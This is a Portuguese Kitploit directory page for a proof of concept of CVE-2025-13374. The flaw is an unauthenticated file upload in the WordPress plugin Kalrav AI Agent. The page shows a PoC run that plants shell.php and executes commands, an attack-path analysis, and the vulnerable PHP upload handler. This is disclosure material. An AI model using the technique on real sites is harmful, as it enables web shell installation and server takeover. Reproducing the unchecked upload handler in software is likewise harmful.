Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-13374 — Kalrav AI Agent <= 2.3.3 - Upload Arbitrário de Arquivos Não Autenticado através da Ação AJAX kalrav_upload_file | Kitploit
Ferramentas/GitHubGitHub/d0n601/cve-2025-13374
Geração de PayloadsAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubd0n601/cve-2025-13374

CVE-2025-13374

Kalrav AI Agent <= 2.3.3 - Upload Arbitrário de Arquivos Não Autenticado através da Ação AJAX kalrav_upload_file

Ver Repositório
há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Kalrav AI Agent <= 2.3.3 - Upload Arbitrário de Ficheiros Não Autenticado via Ação AJAX kalrav_upload_file

O plugin WordPress Kalrav AI Agent (versão 2.3.3 e anteriores) contém uma vulnerabilidade de upload arbitrário de ficheiros que permite a utilizadores não autenticados enviar ficheiros PHP maliciosos para o servidor, podendo levar à execução remota de código.

Exploits em Resumo (TL;DR)

Um POC CVE-2025-13374.py é fornecido para demonstrar um atacante remoto a enviar shell.php e a executar código remoto:

root@kitploit:~
python3 ./CVE-2025-13374.py http://techcorp.cc
[+] Target: http://techcorp.cc
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/plugins/kalrav-ai-agent/uploads/1763247725-shell.php
[+] Command output:
www-data

Descrição Técnica

A vulnerabilidade existe na função kalrav_upload_file() no endpoint /wp-admin/admin-ajax.php. A funcionalidade de upload carece de validação adequada de ficheiros, verificação de nonce e verificações de capacidades. Isto permite que utilizadores não autenticados enviem ficheiros arbitrários, incluindo ficheiros PHP que podem ser executados no servidor.

Análise do Caminho de Ataque

Fonte: Dados de entrada do utilizador a partir de $_FILES['file'] (linha 978) Sink: move_uploaded_file($_FILES['file']['tmp_name'], $target_path) (linha 982)

A vulnerabilidade ocorre porque:

  1. Registo de Rota: O endpoint de upload é registado através do hook wp_ajax_nopriv_kalrav_upload_file (linha 967), permitindo acesso não autenticado.
  2. Sem Autenticação: O prefixo wp_ajax_nopriv_ torna a função acessível a utilizadores não autenticados.
  3. Sem Verificação de Nonce: A função não tem proteção CSRF através de verificação de nonce.
  4. Sem Verificações de Capacidades: Nenhuma validação de permissões é realizada antes de permitir uploads de ficheiros.
  5. Processamento de Entrada: Os dados de ficheiro controlados pelo utilizador a partir de $_FILES['file'] são processados diretamente sem validação.
  6. Manipulação de Ficheiros: Apenas é aplicada uma sanitização básica do nome do ficheiro usando basename(): time() . '-' . basename($_FILES['file']['name']) (linha 979), que apenas impede directory traversal mas não valida as extensões dos ficheiros.
  7. Armazenamento de Ficheiros: Os ficheiros são guardados em wp-content/plugins/kalrav-ai-agent/uploads/.

Localização do Código Vulnerável

Ficheiro: kalrav-ai-agent.php Linhas: 969-996

root@kitploit:~
add_action('wp_ajax_kalrav_upload_file', 'kalrav_upload_file');
add_action('wp_ajax_nopriv_kalrav_upload_file', 'kalrav_upload_file');  

function kalrav_upload_file()
{
    // Path to your plugin uploads folder
    $upload_dir = plugin_dir_path(__FILE__) . 'uploads/';

    if (!file_exists($upload_dir)) {
        mkdir($upload_dir, 0755, true);
    }

    if (!empty($_FILES['file']['name'])) { 
        $file_name = time() . '-' . basename($_FILES['file']['name']);  
        $target_path = $upload_dir . $file_name;

        if (move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) { 
            wp_send_json_success([
                'message' => 'File uploaded successfully!',
                'file_path' => $target_path,
                'url' => plugins_url('uploads/' . $file_name, __FILE__)  
            ]);
        } else {
            wp_send_json_error(['message' => 'Failed to move uploaded file.']);
        }
    } else {
        wp_send_json_error(['message' => 'No file uploaded.']);
    }

    wp_die();
}
Baixar ferramenta